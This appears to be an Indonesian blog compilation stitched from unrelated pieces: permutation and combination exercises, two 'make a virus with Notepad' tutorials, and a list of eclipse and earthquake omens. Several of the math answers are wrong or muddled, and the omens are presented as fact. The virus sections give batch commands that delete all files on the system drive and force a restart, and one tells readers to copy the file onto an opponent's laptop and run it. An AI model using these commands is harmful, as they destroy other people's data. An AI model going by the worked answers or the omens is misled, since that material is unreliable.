Soal dan jawaban tentang Permutasi dan Kombinasi

Soal dan jawaban tentang Permutasi dan Kombinasi

PERMUTASI

1)    Ada berapa cara bila 4 orang remaja (w,x, y, z) menempati tempat duduk yang akan disusun dalam suatu susunan yang teratur?

Jawaban:

4P4 = 4!

= 4 x 3 × 2 × 1

= 24 cara

2)    Menjelang Pergantian kepengurusan BEM STMIK Tasikmalaya akan dibentuk panitia inti sebanyak 2 orang (terdiri dari ketua dan wakil ketua), calon panitia tersebut ada 6 orang yaitu: a, b, c, d, e, dan f. Ada berapa pasang calon yang dapat duduk sebagai panitia inti tersebut?

Jawaban:

6P2 = 6!/(6-2)!

= (6.5.4.3.2.1)/(4.3.2.1)

= 720/24

= 30 cara

3)    Sekelompok mahasiswa yang terdiri dari 10 orang akan mengadakan rapat dan duduk mengelilingi sebuah meja, ada berapa carakah kelima mahasiswa tersebut dapat diatur pada sekeliling meja tersebut?

Jawaban:

P5 = (10-1)!

= 9.8.7.6.5.4.3.2.1

= 362880 cara

4)   Berapa banyak “kata” yang terbentuk dari kata “STMIK”?

Jawab :

5! = 5 x 4 x 3 x 2 x 1 = 120 buah kata

5)    Peluang lulusan PNJ dapat bekerja pada suatu perusahaan adalah 0,75. Jika seorang lulusan PNJ mendaftarkan pada 24 perusahaan, maka berapakah dia dapat diterima oleh perusahaan?

Jawaban:

Frekuensi harapan kejadian A adalah Fh(A) = n × P(A)

Diketahui P(A) = 0,75 dan n = 24. Maka:

Fh(A) = 24 × 0,75 = 18 perusahaan.

6)    Terdapat tiga orang (X, Y dan Z) yang akan duduk bersama di sebuah bangku. Ada berapa urutan yang dapat terjadi ?

Jawaban:

nPx = n!

3P3 = 3!

= 1 x 2 x 3

= 6 cara (XYZ, XZY, YXZ, YZX, ZXY, ZYX).

7)    Suatu kelompok belajar yang beranggotakan empat orang (A, B, C dan D) akan memilih ketua dan wakil ketua kelompok. Ada berapa alternatif susunan ketua dan wakil ketua dapat dipilih ?

Jawaban:

nPx = (n!)/(n-x)!

4P2 = (4!)/(4-2)!

= 12 cara (AB, AC, AD, BA, BC, BD, CA, CB, CD, DA, DB, DC) .

8)    Berapa banyaknya permutasi dari cara duduk yang dapat terjadi jika 8 orang disediakan 4 kursi, sedangkan salah seorang dari padanya selalu duduk dikursi tertentu.

Jawaban:

Jika salah seorang selalu duduk dikursi tertentu maka tinggal 7 orang dengan 3 kursi kosong.

Maka banyaknya cara duduk ada :

7P3 = 7!/(7-3)!

= 7!/4!

= 7.6.5

= 210 cara

9)    Ada berapa cara 5 gelas warna yang mengitari meja kecil, dapat menempati kelima tempat dengan urutan yang berlainan?

Jawaban:

Banyaknya cara duduk ada (5 – 1) ! = 4 ! ® 4. 3 . 2 . 1 = 24 cara.

10) Tentukan banyaknya permutasi siklus dari 3 unsur yaitu A, B, C

jawab:

Jika A sebagai urutan I : ABC

Jika B sebagai urutan I : BCA

Jika C sebagai urutan III : CAB

Jika banyak unsur n=4 –> A, B, C, D

jadi banyaknya permutasi siklis dari 4 unsur ( A B C D) adalah 4!/4 = 4.3.2.1/4 = 6

KOMBINASI

11)  Dalam mengadakan suatu pemilihan dengan menggunakan obyek 4 orang pedagang kaki lima untuk diwawancarai, maka untuk memilih 3 orang untuk satu kelompok. Ada berapa cara kita dapat menyusunnya?

Jawaban:

4C3 =4! / 3! (4-3)!

= (4.3.2.1) / 3.2.1.1

= 24 / 6

= 4 cara

12) Suatu warna tertentu dibentuk dari campuran 3 warna yang berbeda. Jika terdapat 4 warna, yaitu Merah, Kuning, Biru dan Hijau, maka berapa kombinasi tiga jenis warna yang dihasilkan.

Jawaban:

nCx = (n!)/(x!(n-x)!) 

4C3 = (4!)/(3!(4-3)!)

= 24/6 = 4 macam kombinasi (MKB, MKH, KBH, MBH).

13)  Dalam suatu pertemuan terdapat 10 orang yang belum saling kenal. Agar mereka saling kenal maka mereka saling berjabat tangan. Berapa banyaknya jabat tangan yang terjadi.

Jawaban:

10C2 = (10!)/(2!(10-2)!) = 45 jabat tangan

14) Suatu kelompok yang terdiri dari 3 orang pria dan 2 orang wanita akan memilih 3 orang pengurus. Berapa cara yang dapat dibentuk dari pemilihan jika pengurus terdiri dari 2 orang pria dan 1 orang wanita.

Jawaban:

3C2 . 2C1 = (3!)/(2!(3-2)!) . (2!)/(1!(2-1)!) = 6 cara, yaitu : L1 L2 W1 ; L1 L3 W1 ; L2 L3 W1 ; L1 L2 W2 ; L1 L3 W2 ; L2 L3 W2

15)  Dalam sebuah ujian, seorang mahasiswa diwajibkan mengerjakan 5 soal dari 8 soal yg tersedia. Tentukan:

a.    banyaknya jenis pilihan soal yg mungkin untuk dikerjakan

b.    banyaknya jenis pilihan soal yg mungkin dikerjakan jika no.6 dan 7 wajib dikerjakan.

Jawaban:

c.    8 C5 = 8!/5!(8-5)! = (8×7×6×5!)/5!3! = 56 cara

d.    6C3 = 6!/3!(6-2)! = (6×5×4×3!)/3!3! = 20 cara

16) Banyak cara memilih 4 pengurus dari 6 calon, yang ada sama dengan ....

Jawaban:

6C4 = 6!/4!(6-4)! = (6×5×4!)/4!2! = 15 cara

17)  Dalam sebuah kantoh terdapat 7 kelereng. Berapa banyak cara mengambil 4 kelereng dari kantong tersebut?

Jawaban:

7C4 = 7!/4!(7-4)! = (7×6×5×4!)/4!3! = 35 cara

18) Siswa di minta mengerjakan 9 dari 10 soal ulangan, tetapi soal 1-5 harus di kerjakan. Banyaknya pilihan yang dapat diambil murid adalah.

Jawaban:

5C4 = 5!/4!(5-4)! = (5×4!)/4!1! = 5 cara

19) Seorang peternak akan membeli 3 ekor ayam dan 2 ekor kambing dari seorang pedagang yang memiliki 6 ekor ayam dan 4 ekor kambing. Dengan berapa cara peternak tersebut dapat memilih ternak-ternak yang di inginkannya?

Jawaban:

Banyak cara memilih ayam = 6C3 = 6!/3!(6-3)! = 6!/3!3! = 20 cara

Banyak cara memilih kambing = 4C2 = 4!/2!(4-2)! = (4×3×2!)/2!2! = 6 cara

Jadi, peternak tersebut memiliki pilihan sebanyak = 20×6 = 120 cara

20) Sebuah perusahaan membutuhkan karyawan yg terdiri dari 5 putra dan 3 putri. Jika terdapat 15 pelamar, 9 diantaranya putra. Tentukan banyaknya cara menyeleksi karyawan!

Jawaban:

Pelamar putra = 9 dan pelamar putri 6 banyak cara menyeleksi:

9C5 x 6C3 = 9!/5!x(9-5)! x 6!/3!x(6-3)! = 2360

Membuat Virus mematikan dengan notepadThis is a featured page

Membuat Virus mematikan dengan notepad

Virus yang akan kita praketkkan ini adalah virus yang jauh lebih mematikan daripada virus-virus lainnya. Anda akan kaget dengan kegunaannya sebagai virus.

Let`s Begin!

1. buka notepad anda.
2. copy paste tulisan dibaah ini:

@echo off
DEL C: -Y
DEL D: -Y

3. ubah "type as file" ke "all files" dan save notepad dengan nama virus mematikan.bat
4. JANGAN DIKLIK!!!

Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Jadi, kesimpulannya..... Komputer anda akan mati total!!

MEMBUAT VIRUS DENGAN NOTEPAD SEDERHANA

MEMBUAT VIRUS DENGAN NOTEPAD SEDERHANA

Virus ini memang sederhana dan mudah pembuatannya.

Tapi, sangat berbahaya karena virus ini akan menghilangkan data di hardisk C bagi komputer yang terinfeksi.

Silahkan Copy+paste bahasa pemograman dibawah ini (yang berteks tebal):

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

Simpan file dengan nama indocrackervirus.bat

File siap digunakan, copy paste ke laptop lawan. Buka untuk menyebar virusnya.

PERISTIWA ALAM (RAMALAN)

PERISTIWA ALAM (RAMALAN)

Bila ada peristiwa gerhana bulan dibulan Muharam, bermakna akan terjadi wabah penyakit yang dibarengi harga semua kebutuhan pokok manusia akan meningkat dan akan ada raja/pemimpin negeri yang meninggal
Bila kejadian gerhana bulan terjadi pada bulan Syafar, bermakna akan selama tiga bulan tidak akan turun hujan, yang diselingi oleh angin kencang
Bila gerhana bulan terjadi pada bulan Rabiulawwal, bermakna sang raja/pemimpin negeri sedang bersusah hati tanpa diketahui oleh rakyat yang sedang berbahagia
Bila gerhana bulan terjadi pada bulan Rabiulakhir, bermakna akan ada wabah penyakit yang menimpa orang miskin
Bila gerhana bulan terjadi pada bulan Jumadilawwal, bermakna akan ada kebaikan yang seperti harga sandang pangan akan turun.
Bila gerhana bulan terjadi pada bulan Jumadilakhir, bermakna akan datang hujan dan akan banyak hewan peliharaan yang mati
Bila gerhana bulan terjadi pada bulan Rajab, bermakna kebutuhan hidup akan mudah dan murah. Namun banyak manusia yang berselisih paham
Bila gerhana bulan terjadi pada bulan Syaban, bermakna akan datang wabah penyakit menular. Tapi harga sandang pangan akan turun dan mudah didapat
Bila gerhana bulan terjadi pada bulan Ramadhan, bermakna akan datang musim hujan yang berkepanjangan disertai kilatan dan gemuruh guntur
Bila gerhana bulan terjadi pada bulan Syawal, bermakna semua harga kebutuhan bahan pokok akan naik
Bila gerhana bulan terjadi pada bulan Zulkaedah, bermakna banyak rakyat yang akan menderita akibat kerusuhan di dalam negeri.
Bila gerhana bulan terjadi pada bulan Zulhijjah, bermakna akan ada kebaikan seperti akan selamat dan sejahtera bagi seluruh warga negeri.
Disarankan kepada anda untuk mandi di telaga pada waktu bulan purnama, bermakna akan membuat wajah dan tubuh anda bersinar, sehingga membuat anda disayang semua orang
Disarankan kepada anda untuk mandi sinar bulan purnama, bermakna akan menimbulkan kharisma pada diri anda
Disarankan kepada anda untuk menyebutkan keinginan anda ketika bulan purnama, bermakna agar segala keinginan anda terlaksana
Janganlah anda memandangi, melihat dengan menentang matahari, bermakna akan membuat mata anda buta
Janganlah melihat matahari dengan cara menundukkan badan melalui selangkangan sendiri, bermakna anda akan melihat sesuatu yang yang luar biasa mengerikan
Janganlah anda menyumpah-nyumpah ketika turun hujan, bermakna anda akan menderita sakit panas
Janganlah anda memandangi, mengawasi, atau memantau gumpalan awan, larangan ini bermakna dalam waktu yang akan datang kita akan terserang penyakit syaraf.
Janganlah anda menunjukkan tangan pada ekor bintang/tahi bintang, larangan ini bermakna tidak akan lama lagi telunjuk kita akan cantengan (bengkak kecil dan bernanah)
Jika anda melihat pelangi diangkasa, bermakna ada bidadari dari surga yang sedang mandi
Jika anda melihat bintang jatuh disarankan untuk menyebut cita-cita anda, bermakna semoga semua cita-cita akan terkabul
Jika anda melihat sinar putih mengelilingi bulan, bermakna akan turun hujan lebat esok hari
Jika anda melihat tiga bintang berekor (semacam komet atau bintang jatuh) yang jatuh bersamaan, bermakna akan mendapatkan rezeki yang sangat besar jumlahnya
Jika gempa bumi kecil terjadi pada siang hari di bulan Muharram,
makna yang tekandung, akan datang kesusahan dan kemelaratan pada manusia.
Dan bila kejadiaannya malam hari bermakna akan ada kenaikan harga kebutuhan pokok hidup manusia yaitu sandang pangan
Jika gempa bumi kecil terjadi pada siang hari di bulan Shafar
makna yang tekandung, akan ada wabah penyakit menular. Dan bila kejadiaannya malam hari bermakna akan ada kebaikan, keselamatan, dan kesuksesan akan datang pada manusia di berbagai bidang
Jika gempa bumi kecil terjadi pada siang hari di bulan Rabiulawwal
makna yang tekandung, akan terjadi kerusuhan di dalam negeri, dan akan datang wabah penyakit menular.
Dan bila kejadiaannya malam hari bermakna akan ada musim hujan, angin topan yang disertai banjir
Jika gempa bumi kecil terjadi pada siang hari di bulan Rabiulakhir
makna yang tekandung, akan datang wabah penyakit menular pada binatang peliharaan manusia.
Dan bila kejadiaannya malam hari bermakna akan ada kebaikan yang datang karna harga kebutuhan pokok hidup manusia akan turun. Keselamatan dan kesejahteraan masyarakat akan meningkat.
Jika gempa bumi kecil terjadi pada siang hari di bulan Jumadilawwal
makna yang tekandung, akan kerusuhan di dalam negeri karena ula negeri lain.
Dan bila kejadiaannya malam hari bermakna ini bulan yang baik untuk melakukan sesuatu, karena akan selalu berhasil
Jika gempa bumi kecil terjadi pada siang hari di bulan Rajab
makna yang tekandung, akan datang wabah penyakit menular yang mengakibatkan banyak orang sakit.
Dan bila kejadiaannya malam hari bemakna akan ada kerusuhan didalam negeri
Jika gempa bumi kecil terjadi pada siang hari di bulan Syaban
makna yang tekandung, akan datang wabah penyakit menular yang membawa maut bagi manusia.
Dan bila kejadiaannya malam hari bermakna akan terjadi kenaikan harga bahan barang pokok kehidupan manusia
Jika gempa bumi kecil terjadi pada siang hari di bulan Ramadhan
makna yang tekandung, akan banyak orang bermusuhan, baik antar anggota keluarga atau antara tetangga atau antara sesama teman dekat
Dan bila kejadiaannya malam hari bermakna akan terjadi perpindahan manusia secara besar-besaran, baik itu dari desa kekota atau sebaliknya.
Jika gempa bumi kecil terjadi pada sing hari di bulan Syawal
makna yang tekandung, akan menyebar wabah penyakit.
Dan bila kejadiannya malam hari bermakna akan ada perang antar umat manusia
Jika gempa bumi kecil terjadi pada sing hari di bulan Zulkaedah
makna yang terkandung, akan ada persengketaaan antar tetangga yang memperebutkan bebagai kepentingannya sendiri-sendiri.
Dan bila kejadiaannya malam hari akan ada perpindahan manusia secara besar-besaran, dari satu tempat ketempat yang lain.
Jika gempa bumi kecil terjadi pada sing hari di bulan Zulhijjah
makna yang terkandung, akan ada kehidupan yang makin sulit, ditambah adannya perselisihan atar umat manusia dan itu akan semakin menjadi-jadi.
Dan bila kejadiaannya malam hari bermakna akan datang musim hujan yang berkepanjangan, harga kebutuhan bahan pokok turun tetapi banyak manusia yang beriman.
Jika anda menemukan tanah hidup (yang kian menggunung) di salah satu bagian rumah
bermaknan akan mendapat rezeki tak terhingga
Jika anda menggali sumur tidak mendapatkan air
bermakna pemilik rumah akan mengalami kesulitan hidup.
Jika anda menemukan air sumur tiba-tiba kering
bermakna pemilik rumah akan mengalami kesulitan hidup.
Jika anda menemukan lantai di dalam rumah tiba-tiba banyak yang retak tanpa sebab
bermakna peringatan roh penunggu rumah kepada pemilik rumah untuk memberi sesajen.
Jika anda menemukan lantai dapur rumah tiba-tiba retak tanpa sebab
bermakna si pemilik rumah akan kesulitan bahan pangan.